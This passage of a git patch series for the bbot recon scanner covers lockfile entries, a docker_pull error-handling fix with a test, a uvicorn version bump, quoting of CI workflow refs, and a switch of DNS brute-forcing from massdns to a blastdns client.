"https://files.pythonhosted.org/packages/ce/67/795644550d788ddbb6dc458c95895f8009978ea6d6ea76b005eb3f45e8c9/regex-2026.7.19-cp313-cp313t-win_arm64.whl", hash = "sha256:fcee38cd8e5089d6d4f048ba1233b3ad76e5954f545382180889112ff5cb712d", size = 279394, upload-time = "2026-07-19T00:18:37.454Z" }, + { url = "https://files.pythonhosted.org/packages/d2/25/0c4c452f8ef3efe456745b2f33195f5904b573fb4c2ff3f0cb9ec188461e/regex-2026.7.19-cp314-cp314-macosx_10_13_universal2.whl", hash = "sha256:a81758ed242b861b72e778ba34d41366441a2e10b16b472784c88da2dea7e2dd", size = 496750, upload-time = "2026-07-19T00:18:39.633Z" }, + { url = "https://files.pythonhosted.org/packages/24/9e/b70ca6c1704f6c7cd32a9e143c86cc5968d10981eca284bad670c245ea7d/regex-2026.7.19-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:4aa5435cdb3eb6f55fe98a171b05e3fbcd95fadaa4aa32acf62afd9b0cfdbcac", size = 297093, upload-time = "2026-07-19T00:18:41.583Z" }, + { url = "https://files.pythonhosted.org/packages/87/74/0b692da2520d51fbff19c88b83d97e4c702909dd02386c585998b7e2dbed/regex-2026.7.19-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:60be8693a1dadc210bbcbc0db3e26da5f7d01d1d5a3da594e99b4fa42df404f5", size = 292043, upload-time = "2026-07-19T00:18:43.347Z" }, + { url = "https://files.pythonhosted.org/packages/e3/a7/1d478e614016045a33feae57446215f9fd65b665a5ceb2f891fb3183bc52/regex-2026.7.19-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:d19662dbedbe783d323196312d38f5ba53cf56296378252171985da6899887d3", size = 797214, upload-time = "2026-07-19T00:18:45.362Z" }, + { url = "https://files.pythonhosted.org/packages/aa/ae/11b9c9411d92c30e3d2db32df5a31133e4a99a8fc397a604fd08f6c4bffb/regex-2026.7.19-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:d15df07081d91b76ff20d43f94592ee110330152d617b730fdbe5ef9fb680053", size = 866433, upload-time = "2026-07-19T00:18:47.315Z" }, + { url = "https://files.pythonhosted.org/packages/b1/62/2b2efc4992f91d6d204b24c647c9f9412e85379d92b7c0ab9fdae622327e/regex-2026.7.19-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:56ad4d9f77df871a99e25c37091052a02528ec0eb059de928ee33956b854b45b", size = 911360, upload-time = "2026-07-19T00:18:49.588Z" }, + { url = "https://files.pythonhosted.org/packages/14/71/986ceea9aa3da548bf1357cad89b63915ec6d21ec957c8113b29ece567df/regex-2026.7.19-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:7322ec6cc9fba9d49ab888bb82d67ac5625627aa168f0165139b17018df3fb8a", size = 801275, upload-time = "2026-07-19T00:18:51.767Z" }, + { url = "https://files.pythonhosted.org/packages/15/be/ce9d9534b2cda96eab32c548261224b9b4e220a4126f098f60f42ae7b4cd/regex-2026.7.19-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:9c7472192ebfad53a6be7c4a8bfb2d64b81c0e93a1fc8c57e1dd0b638297b5d1", size = 777131, upload-time = "2026-07-19T00:18:54.053Z" }, + { url = "https://files.pythonhosted.org/packages/61/2b/58b5c710f2c3929515a25f3a1ca0dad0dcd4518d4fff3cf23bc7adb8dcd2/regex-2026.7.19-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:c10b82c2634df08dfb13b1f04e38fe310d086ee092f4f69c0c8da234251e556e", size = 785020, upload-time = "2026-07-19T00:18:56.579Z" }, + { url = "https://files.pythonhosted.org/packages/84/03/5fe091935b74f15fe0f97998c215cae418d1c0413f6258c7d4d2e83aa37f/regex-2026.7.19-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:17ed5692f6acc4183e98331101a5f9e4f64d72fe58b753da4d444a2c77d05b12", size = 861263, upload-time = "2026-07-19T00:18:58.64Z" }, + { url = "https://files.pythonhosted.org/packages/d8/fa/d60bf82e10841eef62a9e32aac401468f05fddfbcb2942e342b1ba3d2433/regex-2026.7.19-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:22a992de9a0d91bda927bf02b94351d737a0302905432c88a53de7c4b9ce62e2", size = 766199, upload-time = "2026-07-19T00:19:00.705Z" }, + { url = "https://files.pythonhosted.org/packages/bf/5d/11e64d151b0662b81d6bf644c74dc118d461df85bdf2577fadbbf751788a/regex-2026.7.19-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:618a0aed532be87294c4477b0481f3aa0f1520f4014a4374dd4cf789b4cd2c97", size = 851317, upload-time = "2026-07-19T00:19:03.015Z" }, + { url = "https://files.pythonhosted.org/packages/7c/34/532efb87488d90807bae6a443d357ee5e2728a478c597619c8aaa17cc0bd/regex-2026.7.19-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:2ce9e679f776649746729b6c86382da519ef649c8e34cc41df0d2e5e0f6c36d4", size = 789557, upload-time = "2026-07-19T00:19:05.338Z" }, + { url = "https://files.pythonhosted.org/packages/d6/90/3a8d5ca977171ec3ae21a71207d2228b2663bde14d7f7ef0e6363ecf9290/regex-2026.7.19-cp314-cp314-win32.whl", hash = "sha256:73f272fba87b8ccfe70a137d02a54af386f6d27aa509fbffdd978f5947aae1aa", size = 272531, upload-time = "2026-07-19T00:19:07.487Z" }, + { url = "https://files.pythonhosted.org/packages/96/e1/8862885e70409de70e8c005f57fb2e7be8d9ef0317250d60f4c9660a300d/regex-2026.7.19-cp314-cp314-win_amd64.whl", hash = "sha256:d721e53758b2cca74990185eb0671dd466d7a388a1a45d0c6f4c13cef41a68ac", size = 280831, upload-time = "2026-07-19T00:19:09.46Z" }, + { url = "https://files.pythonhosted.org/packages/08/82/2693e53e29f9104d9de95d37ce4dd826bd32d5f9c0085d3aa6ac042675c4/regex-2026.7.19-cp314-cp314-win_arm64.whl", hash = "sha256:65fa6cb38ed5e9c3637e68e544f598b39c3b86b808ed0627a67b68320384b459", size = 281099, upload-time = "2026-07-19T00:19:11.398Z" }, + { url = "https://files.pythonhosted.org/packages/92/b7/9a01aa16461a18cde9d7b9c3ab21e501db2ce33725f53014342b91df2b0a/regex-2026.7.19-cp314-cp314t-macosx_10_13_universal2.whl", hash = "sha256:5a2721c8720e2cb3c209925dfb9200199b4b07361c9e01d321719404b21458b3", size = 501121, upload-time = "2026-07-19T00:19:13.425Z" }, + { url = "https://files.pythonhosted.org/packages/f3/5e/bbaeca815dc9191c424c94a4fdc5c87c75748a64a6271821212ebdd4e1a3/regex-2026.7.19-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:199535629f25caf89698039af3d1ad5fcae7f933e2112c73f1cdf49165c99518", size = 299415, upload-time = "2026-07-19T00:19:15.43Z" }, + { url = "https://files.pythonhosted.org/packages/cd/d6/0dd1a321afaab95eb7ff44aa0f637301786f1dc71c6b797b9ed236ed8890/regex-2026.7.19-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:9b60d7814174f059e5de4ab98271cc5ba9259cfea55273a81544dceea32dc8d9", size = 294483, upload-time = "2026-07-19T00:19:17.879Z" }, + { url = "https://files.pythonhosted.org/packages/92/5f/40bacf91d0904f812e13bbbab3864604c463eced8afdc54aeaa50492ea95/regex-2026.7.19-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:dbece16025afda5e3031af0c4059207e61dcf73ef13af844964f57f387d1c435", size = 811833, upload-time = "2026-07-19T00:19:20.102Z" }, + { url = "https://files.pythonhosted.org/packages/94/7c/4902744261f775aeede8b5627314b38482da29cf49a57b66a6fb753246c5/regex-2026.7.19-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:d24ecb4f5e009ea0bd275ee37ad9953b32005e2e5e60f8bbae16da0dbbf0d3a0", size = 871270, upload-time = "2026-07-19T00:19:22.365Z" }, + { url = "https://files.pythonhosted.org/packages/16/70/6980c9be6bf21c0a60ed3e0aea39cf419ecf3b08d1d9947bc56e196ef186/regex-2026.7.19-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:8cae6fd77a5b72dae505084b1a2ee0360139faf72fedbab667cd7cc65aae7a6a", size = 917534, upload-time = "2026-07-19T00:19:24.529Z" }, + { url = "https://files.pythonhosted.org/packages/52/92/8b2bd872782ce8c42691e39acb38eb8efe014e5ddb78ad7d943d6f197ce9/regex-2026.7.19-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:9724e6cb5e478cd7d8cabf027826178739cb18cf0e117d0e32814d479fa02276", size = 816135, upload-time = "2026-07-19T00:19:26.919Z" }, + { url = "https://files.pythonhosted.org/packages/de/2d/33a602f657bdc4041f17d79f92ab18261d255d91a06117a6e29df023e5e2/regex-2026.7.19-cp314-cp314t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:572fc57b0009c735ee56c175ea021b637a15551a312f56734277f923d6fd0f6c", size = 785492, upload-time = "2026-07-19T00:19:29.192Z" }, + { url = "https://files.pythonhosted.org/packages/9e/36/0987cf4cb271680064a70d24a475873775a151d0b7058698a006cb0cae4a/regex-2026.7.19-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:20568e182eb82d39a6bf7cff3fd58566f14c75c6f74b2c8c96537eecf9010e3a", size = 800658, upload-time = "2026-07-19T00:19:31.392Z" }, + { url = "https://files.pythonhosted.org/packages/a8/24/c14f31c135e1ba55fa4f9a58ca98d0842512bf6188230763c31c8f449e3b/regex-2026.7.19-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:1d58561843f0ff7dc78b4c28b5e2dc388f3eff94ebc8a232a3adba961fc00009", size = 865073, upload-time = "2026-07-19T00:19:33.485Z" }, + { url = "https://files.pythonhosted.org/packages/14/85/181a12211f22469f24d2de1ebddfe397d2396e2c29013b9a58134a91069a/regex-2026.7.19-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:61bb1bd45520aacd56dd80943bd34991fb5350afdd1f36f2282230fd5154a218", size = 773684, upload-time = "2026-07-19T00:19:35.599Z" }, + { url = "https://files.pythonhosted.org/packages/23/58/bd1a0c1a62251366f8d21f41b1ea3c76994962071b8b6ea42f72d505c0f0/regex-2026.7.19-cp314-cp314t-musllinux_1_2_s390x.whl", hash = "sha256:cd3584591ea4429026cdb931b054342c2bcf189b44ff367f8d5c15bc092a2966", size = 857769, upload-time = "2026-07-19T00:19:37.738Z" }, + { url = "https://files.pythonhosted.org/packages/e4/4f/f7e2dad6756b2fe1fe75dd90a628c3b45f249d39f948dd90cd2476325417/regex-2026.7.19-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:5cc26a66e212fa5d6c6170c3a40d99d888db3020c6fdab1523250d4341382e44", size = 804546, upload-time = "2026-07-19T00:19:40.229Z" }, + { url = "https://files.pythonhosted.org/packages/2b/d7/01d31d5bdb09bc026fab77f59a371fdf8f9b292e4810546c56182ca70498/regex-2026.7.19-cp314-cp314t-win32.whl", hash = "sha256:2c4e61e2e1be56f63ec3cc618aa9e0de81ef6f43d177205451840022e24f5b78", size = 274526, upload-time = "2026-07-19T00:19:42.398Z" }, + { url = "https://files.pythonhosted.org/packages/52/0e/cea4ce73bc0a8247a0748228ae6669984c7e1f8134b6fa66e59c0572e0ea/regex-2026.7.19-cp314-cp314t-win_amd64.whl", hash = "sha256:c639ea314df70a7b2811e8020448c75af8c9445f5a60f8a4ced81c306a9380c2", size = 283763, upload-time = "2026-07-19T00:19:44.644Z" }, + { url = "https://files.pythonhosted.org/packages/6f/b6/26e41975febae63b7a6e3e02f32cff6cff2e4f10d19c929082f56aebf7c6/regex-2026.7.19-cp314-cp314t-win_arm64.whl", hash = "sha256:9a15e785f244f3e07847b984ce8773fc3da10a9f3c131cc49a4c5b4d672b4547", size = 283451, upload-time = "2026-07-19T00:19:46.639Z" }, ] [[package]] From 4be175139fa959746fb63119216b240567bdfa8d Mon Sep 17 00:00:00 2001 From: liquidsec Date: Sun, 26 Jul 2026 22:12:20 -0400 Subject: [PATCH 014/256] Fix docker_pull crash on failed registry request --- bbot/modules/docker_pull.py | 5 ++++- .../module_tests/test_module_docker_pull.py | 22 +++++++++++++++++++ 2 files changed, 26 insertions(+), 1 deletion(-) diff --git a/bbot/modules/docker_pull.py b/bbot/modules/docker_pull.py index 7493d3e258..1c3846c695 100644 --- a/bbot/modules/docker_pull.py +++ b/bbot/modules/docker_pull.py @@ -81,7 +81,10 @@ async def docker_api_request(self, url: str): """Make a request to the URL if that fails try to obtain an authentication token and try again.""" for _ in range(2): response = await self.helpers.request(url, headers=self.headers, follow_redirects=True) - if response is not None and response.status_code != 401: + if response is None: + self.log.warning(f"Request to {url} failed") + break + if response.status_code != 401: return response www_auth = response.headers.get("www-authenticate", "") realm, service, scope = self._parse_www_authenticate(www_auth) diff --git a/bbot/test/test_step_2/module_tests/test_module_docker_pull.py b/bbot/test/test_step_2/module_tests/test_module_docker_pull.py index 041e980454..e0ad33548a 100644 --- a/bbot/test/test_step_2/module_tests/test_module_docker_pull.py +++ b/bbot/test/test_step_2/module_tests/test_module_docker_pull.py @@ -558,6 +558,28 @@ def check(self, module_test, events): assert "test_token_value" not in auth_header, "Module followed a non-HTTPS realm" +class TestDockerPullRequestFailure(ModuleTestBase): + modules_overrides = ["docker_pull"] + + async def setup_after_prep(self, module_test): + m = module_test.scan.modules["docker_pull"] + # no mock is registered for this URL, so the request fails and returns None + try: + self.result = await m.docker_api_request("https://registry-1.docker.io/v2/nonexistent/tags/list") + except Exception as e: + self.result = f"error: {e}" + # a failed request must not prevent the higher-level helpers from returning sane defaults + self.tags = await m.get_tags("https://registry-1.docker.io", "nonexistent") + self.manifest = await m.get_manifest("https://registry-1.docker.io", "nonexistent", "latest") + self.blob = await m.download_blob("https://registry-1.docker.io", "nonexistent", "sha256:deadbeef") + + def check(self, module_test, events): + assert self.result is None, f"expected None when the request fails, got {self.result!r}" + assert self.tags == ["latest"] + assert self.manifest == {} + assert self.blob is None + + class TestDockerPullPathTraversal(ModuleTestBase): modules_overrides = ["docker_pull"] config_overrides = {"modules": {"docker_pull": {"output_folder": str(bbot_test_dir / "test_docker_traversal")}}} From ad75da541c77cb2b56abfe50427377194c9f9e4f Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Mon, 27 Jul 2026 02:17:24 +0000 Subject: [PATCH 015/256] Bump uvicorn from 0.39.0 to 0.51.0 Bumps [uvicorn](https://github.com/Kludex/uvicorn) from 0.39.0 to 0.51.0. - [Release notes](https://github.com/Kludex/uvicorn/releases) - [Changelog](https://github.com/Kludex/uvicorn/blob/main/docs/release-notes.md) - [Commits](https://github.com/Kludex/uvicorn/compare/0.39.0...0.51.0) --- updated-dependencies: - dependency-name: uvicorn dependency-version: 0.51.0 dependency-type: direct:development update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] --- pyproject.toml | 2 +- uv.lock | 8 ++++---- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/pyproject.toml b/pyproject.toml index 1deb77ff94..fca08c78dd 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -75,7 +75,7 @@ dev = [ "pytest-httpserver>=1.0.11,<2", "pytest>=8.3.1,<10", "pytest-asyncio==1.4.0", - "uvicorn>=0.32,<0.50", + "uvicorn>=0.32,<0.52", "fastapi>=0.115.5,<0.141.0", "pytest-httpx>=0.35", "pytest-benchmark>=4,<6", diff --git a/uv.lock b/uv.lock index 1ceb1e3324..170b6c7077 100644 --- a/uv.lock +++ b/uv.lock @@ -313,7 +313,7 @@ dev = [ { name = "pytest-timeout", specifier = ">=2.3.1,<3" }, { name = "ruff", specifier = "==0.15.22" }, { name = "urllib3", specifier = ">=2.0.2,<3" }, - { name = "uvicorn", specifier = ">=0.32,<0.50" }, + { name = "uvicorn", specifier = ">=0.32,<0.52" }, { name = "werkzeug", specifier = ">=2.3.4,<4.0.0" }, ] docs = [ @@ -3220,16 +3220,16 @@ wheels = [ [[package]] name = "uvicorn" -version = "0.39.0" +version = "0.51.0" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "click" }, { name = "h11" }, { name = "typing-extensions", marker = "python_full_version < '3.11'" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/ae/4f/f9fdac7cf6dd79790eb165639b5c452ceeabc7bbabbba4569155470a287d/uvicorn-0.39.0.tar.gz", hash = "sha256:610512b19baa93423d2892d7823741f6d27717b642c8964000d7194dded19302", size = 82001, upload-time = "2025-12-21T13:05:17.973Z" } +sdist = { url = "https://files.pythonhosted.org/packages/a2/65/b7c6c443ccc58678c91e1e973bbe2a878591538655d6e1d47f24ba1c51f3/uvicorn-0.51.0.tar.gz", hash = "sha256:f6f4b69b657c312f516dd2d268ab9ae6f254b11e4bac504f37b2ab58b24dd0b0", size = 94412, upload-time = "2026-07-08T10:59:05.962Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/6b/25/db2b1c6c35bf22e17fe5412d2ee5d3fd7a20d07ebc9dac8b58f7db2e23a0/uvicorn-0.39.0-py3-none-any.whl", hash = "sha256:7beec21bd2693562b386285b188a7963b06853c0d006302b3e4cfed950c9929a", size = 68491, upload-time = "2025-12-21T13:05:16.291Z" }, + { url = "https://files.pythonhosted.org/packages/45/ec/dbb7e5a6b91f86bfb9eb7d2988a2730907b6a729875b949c7f022e8b88fa/uvicorn-0.51.0-py3-none-any.whl", hash = "sha256:5d38af6cd620f2ae3849fb44fd4879e0890aa1febe8d47eb355fb45d93fe6a5b", size = 73219, upload-time = "2026-07-08T10:59:04.44Z" }, ] [[package]] From 3be13de1fd8ee02f7f09ed7cbd31bb2fce54d732 Mon Sep 17 00:00:00 2001 From: Kobi Hikri Date: Wed, 29 Jul 2026 18:55:57 +0300 Subject: [PATCH 016/256] ci: pass benchmark refs through env and quote them (#3354) Co-authored-by: Paul Mueller --- .github/workflows/benchmark.yml | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/.github/workflows/benchmark.yml b/.github/workflows/benchmark.yml index 6127df218f..0152453e04 100644 --- a/.github/workflows/benchmark.yml +++ b/.github/workflows/benchmark.yml @@ -42,10 +42,13 @@ jobs: # Generate benchmark comparison report using our branch-based script - name: Generate benchmark comparison report + env: + BASE_REF: ${{ github.base_ref }} + HEAD_REF: ${{ github.head_ref }} run: | uv run python bbot/scripts/benchmark_report.py \ - --base ${{ github.base_ref }} \ - --current ${{ github.head_ref }} \ + --base "$BASE_REF" \ + --current "$HEAD_REF" \ --output benchmark_report.md \ --keep-results continue-on-error: true From 45089646120e0369c4deae1beaec35dc5203f8d1 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Wed, 29 Jul 2026 13:36:30 -0400 Subject: [PATCH 017/256] Brute-force DNS through blastdns instead of massdns Replaces the massdns subprocess in the brute helper with a dedicated blastdns client. It gets its own client rather than sharing the one behind normal resolution, because brute-forcing runs against a large public resolver list instead of the system resolvers and needs its own limits. Uses resolve_batch_full rather than resolve_batch so unanswered queries stay visible and get reported: a query that runs out of retries is a silently missed subdomain, which is the one failure brute-forcing must not hide. Retires dns.brute_threads, which was a massdns passthrough, in favor of brute_concurrency, brute_inflight_per_resolver, and brute_rate_limit. Enables the startup resolver probe so dead entries in the public list are dropped once instead of costing queries all scan. Drops the now-unused module argument from helpers.dns.brute(). Tests move off the run_live massdns monkeypatch: mock_dns now drives brute-forcing directly, since _mock_dns swaps the brute client too. Assertions are unchanged, and the wildcard canary case uses a regex mock key. --- bbot/core/config/models.py | 4 +- bbot/core/helpers/dns/brute.py | 166 +++++++++++------- bbot/core/helpers/dns/dns.py | 14 +- bbot/defaults.yml | 11 +- bbot/modules/dnsbrute.py | 2 +- bbot/modules/dnsbrute_mutations.py | 2 +- bbot/modules/dnscommonsrv.py | 2 +- .../module_tests/test_module_dnsbrute.py | 55 +----- .../test_module_dnsbrute_mutations.py | 17 -- .../module_tests/test_module_dnscommonsrv.py | 21 --- 10 files changed, 126 insertions(+), 168 deletions(-) diff --git a/bbot/core/config/models.py b/bbot/core/config/models.py index 3f3e85105d..97a67bf362 100644 --- a/bbot/core/config/models.py +++ b/bbot/core/config/models.py @@ -246,7 +246,9 @@ class DnsConfig(BaseModel): minimal: Optional[bool] = None threads: Optional[int] = None cache_size: Optional[int] = None - brute_threads: Optional[int] = None + brute_concurrency: Optional[int] = None + brute_inflight_per_resolver: Optional[int] = None + brute_rate_limit: Optional[float] = None brute_nameservers: Optional[str] = None search_distance: Optional[int] = None runaway_limit: Optional[int] = None diff --git a/bbot/core/helpers/dns/brute.py b/bbot/core/helpers/dns/brute.py index d243073a18..ffb05c5e39 100644 --- a/bbot/core/helpers/dns/brute.py +++ b/bbot/core/helpers/dns/brute.py @@ -1,18 +1,22 @@ -import json import random import asyncio import logging -import subprocess + +from blastdns import Client, ClientConfig, DNSError class DNSBrute: """ Helper for DNS brute-forcing. + Uses its own blastdns client, separate from the one backing normal + resolution: brute-forcing runs against a large public resolver list rather + than the system resolvers, and needs its own concurrency and rate limits. + Examples: >>> domain = "evilcorp.com" >>> subdomains = ["www", "mail"] - >>> results = await self.helpers.dns.brute(self, domain, subdomains) + >>> results = await self.helpers.dns.brute(domain, subdomains) """ _nameservers_url = ( @@ -24,11 +28,15 @@ def __init__(self, parent_helper): self.log = logging.getLogger("bbot.helper.dns.brute") self.dns_config = self.parent_helper.config.get("dns", {}) self.num_canaries = 100 - self.max_resolvers = self.dns_config.get("brute_threads", 1000) + self.concurrency = self.dns_config.get("brute_concurrency", 1000) + self.inflight_per_resolver = self.dns_config.get("brute_inflight_per_resolver", 2) + self.rate_limit = self.dns_config.get("brute_rate_limit", 0) self.nameservers_url = self.dns_config.get("brute_nameservers", self._nameservers_url) self.devops_mutations = list(self.parent_helper.word_cloud.devops_mutations) self.digit_regex = self.parent_helper.re.compile(r"\d+") self._resolver_file = None + self._client = None + self._client_lock = None self._dnsbrute_lock = None async def __call__(self, *args, **kwargs): @@ -40,7 +48,42 @@ def dnsbrute_lock(self): self._dnsbrute_lock = asyncio.Lock() return self._dnsbrute_lock - async def dnsbrute(self, module, domain, subdomains, type=None): + @property + def client_lock(self): + if self._client_lock is None: + self._client_lock = asyncio.Lock() + return self._client_lock + + async def client(self): + """The blastdns client used for brute-forcing, built on first use. + + Construction is deferred because the resolver list has to be downloaded + first, and blastdns takes its resolvers at construction time. + """ + async with self.client_lock: + if self._client is None: + resolver_file = await self.resolver_file() + resolvers = list(self.parent_helper.read_file(resolver_file)) + self.log.verbose(f"Starting brute-force DNS client with {len(resolvers):,} resolvers") + self._client = Client( + resolvers, + ClientConfig( + max_concurrency=self.concurrency, + max_inflight_per_resolver=self.inflight_per_resolver, + rate_limit=self.rate_limit or None, + # A public resolver list carries a lot of dead entries; + # drop them up front instead of paying for them all scan. + resolver_probe=True, + # Brute-force queries are unique by construction, so a + # cache would only consume memory. + cache_capacity=0, + request_timeout_ms=self.parent_helper.dns.timeout * 1000, + max_retries=self.parent_helper.dns.retries, + ), + ) + return self._client + + async def dnsbrute(self, domain, subdomains, type=None): subdomains = list(subdomains) if type is None: @@ -53,7 +96,7 @@ async def dnsbrute(self, module, domain, subdomains, type=None): wildcard_rdtypes.update(rdtypes) if wildcard_domains: self.log.hugewarning( - f"Aborting massdns on {domain} because it's a wildcard domain ({','.join(sorted(wildcard_rdtypes))})" + f"Aborting brute-force of {domain} because it's a wildcard domain ({','.join(sorted(wildcard_rdtypes))})" ) return [] @@ -66,7 +109,7 @@ async def dnsbrute(self, module, domain, subdomains, type=None): results = [] canaries_triggered = [] - async for hostname, ip, rdtype in self._massdns(module, domain, subdomains, rdtype=type): + async for hostname in self._resolve_subdomains(domain, subdomains, rdtype=type): sub = hostname.split(domain)[0].rstrip(".") if sub in canary_set: canaries_triggered.append(sub) @@ -75,77 +118,64 @@ async def dnsbrute(self, module, domain, subdomains, type=None): if len(canaries_triggered) > 5: self.log.info( - f"Aborting massdns on {domain} due to false positive: ({len(canaries_triggered):,} canaries triggered - {','.join(canaries_triggered)})" + f"Aborting brute-force of {domain} due to false positive: ({len(canaries_triggered):,} canaries triggered - {','.join(canaries_triggered)})" ) return [] # everything checks out return results - async def _massdns(self, module, domain, subdomains, rdtype): - """ - { - "name": "www.blacklanternsecurity.com.", - "type": "A", - "class": "IN", - "status": "NOERROR", - "data": { - "answers": [ - { - "ttl": 3600, - "type": "CNAME", - "class": "IN", - "name": "www.blacklanternsecurity.com.", - "data": "blacklanternsecurity.github.io." - }, - { - "ttl": 3600, - "type": "A", - "class": "IN", - "name": "blacklanternsecurity.github.io.", - "data": "185.199.108.153" - } - ] - }, - "resolver": "168.215.165.186:53" - } + async def _resolve_subdomains(self, domain, subdomains, rdtype): + """Resolve each candidate under ``domain``, yielding the ones that exist. + + Uses ``resolve_batch_full`` rather than ``resolve_batch`` so failures stay + visible: a query that ran out of retries is a silently missed subdomain, + which is the one error brute-forcing must not hide. """ - resolver_file = await self.resolver_file() - command = ( - "massdns", - "-r", - resolver_file, - "-s", - self.max_resolvers, - "-t", - rdtype, - "-o", - "J", - "-q", - ) - subdomains = self.gen_subdomains(subdomains, domain) + client = await self.client() + queries = self.gen_subdomains(subdomains, domain) + suffix = f".{domain}" hosts_yielded = set() + answered = 0 + empty = 0 + failed = 0 + async with self.dnsbrute_lock: - async for line in module.run_process_live(*command, stderr=subprocess.DEVNULL, input=subdomains): - try: - j = json.loads(line) - except json.decoder.JSONDecodeError: - self.log.debug(f"Failed to decode line: {line}") + async for host, result in client.resolve_batch_full(queries, rdtype): + if isinstance(result, DNSError): + failed += 1 + continue + if not result.response.answers: + empty += 1 + continue + answered += 1 + + # A CNAME can point anywhere; only names under the domain we + # asked about are subdomains of it. + hostname = host.strip(".").lower() + if not hostname.endswith(suffix) or hostname in hosts_yielded: continue - answers = j.get("data", {}).get("answers", []) - if type(answers) == list and len(answers) > 0: - answer = answers[0] - hostname = answer.get("name", "").strip(".").lower() - if hostname.endswith(f".{domain}"): - data = answer.get("data", "") - rdtype = answer.get("type", "").upper() - if data and rdtype: - hostname_hash = hash(hostname) - if hostname_hash not in hosts_yielded: - hosts_yielded.add(hostname_hash) - yield hostname, data, rdtype - - async def gen_subdomains(self, prefixes, domain): + hosts_yielded.add(hostname) + yield hostname + + self._log_delivery(domain, answered, empty, failed) + + def _log_delivery(self, domain, answered, empty, failed): + """Report how much of the wordlist actually got an answer. + + A run that silently drops queries looks identical to one that found + nothing, so unanswered queries are worth surfacing. + """ + total = answered + empty + failed + if not total: + return + message = f"Brute-force of {domain}: {answered:,} resolved, {empty:,} no record, {failed:,} unanswered" + if failed / total > 0.05: + self.log.warning(f"{message} ({failed / total:.0%} unanswered, results may be incomplete)") + else: + self.log.verbose(message) + + def gen_subdomains(self, prefixes, domain): for p in prefixes: if domain: p = f"{p}.{domain}" diff --git a/bbot/core/helpers/dns/dns.py b/bbot/core/helpers/dns/dns.py index c9b59e6cc3..4f699f8754 100644 --- a/bbot/core/helpers/dns/dns.py +++ b/bbot/core/helpers/dns/dns.py @@ -53,7 +53,7 @@ def __init__(self, parent_helper): # blastdns client self.system_resolvers = get_system_resolvers() self.log.debug( - f"Starting BlastDNS client with {self.threads} threads per resolver, " + f"Starting BlastDNS client with {self.threads} queries in flight per resolver, " f"{self.retries} retries, {self.cache_size} cache size, " f"and {self.timeout} second timeout" ) @@ -62,7 +62,7 @@ def __init__(self, parent_helper): ClientConfig( request_timeout_ms=self.timeout * 1000, max_retries=self.retries, - threads_per_resolver=self.threads, + max_inflight_per_resolver=self.threads, cache_capacity=self.cache_size, ), ) @@ -430,11 +430,19 @@ def brute(self): return self._brute async def _mock_dns(self, mock_data): - """Swap the underlying client for a ``MockClient`` configured with ``mock_data``.""" + """Swap the underlying clients for ``MockClient``s configured with ``mock_data``. + + The brute-force helper has its own client, so it has to be mocked too or + brute-forcing modules would reach the network during tests. + """ mock_client = MockClient() mock_client.mock_dns(mock_data) self.blastdns = mock_client + brute_mock = MockClient() + brute_mock.mock_dns(mock_data) + self.brute._client = brute_mock + @staticmethod def _empty_result(host=""): """Build a minimal ``DNSResult`` with no answers, for use as a safe fallback.""" diff --git a/bbot/defaults.yml b/bbot/defaults.yml index 3a3d53a55c..582d3546e1 100644 --- a/bbot/defaults.yml +++ b/bbot/defaults.yml @@ -47,13 +47,16 @@ dns: disable: false # Speed up scan by not creating any new DNS events, and only resolving A and AAAA records minimal: false - # How many threads to use per resolver (best way to increase speed is to put more resolvers in /etc/resolv.conf) + # How many queries to keep in flight per resolver (best way to increase speed is to put more resolvers in /etc/resolv.conf) threads: 10 # How many DNS records to cache cache_size: 100000 - # How many concurrent DNS resolvers to use when brute-forcing - # (under the hood this is passed through directly to massdns -s) - brute_threads: 1000 + # How many queries to keep in flight in total when brute-forcing + brute_concurrency: 1000 + # How many brute-force queries to keep in flight per resolver (the politeness bound) + brute_inflight_per_resolver: 2 + # Hard ceiling on brute-force DNS queries per second (0 = unlimited; backoff is automatic regardless) + brute_rate_limit: 0 # nameservers to use for DNS brute-forcing # default is updated weekly and contains ~10K high-quality public servers brute_nameservers: https://raw.githubusercontent.com/blacklanternsecurity/public-dns-servers/master/nameservers.txt diff --git a/bbot/modules/dnsbrute.py 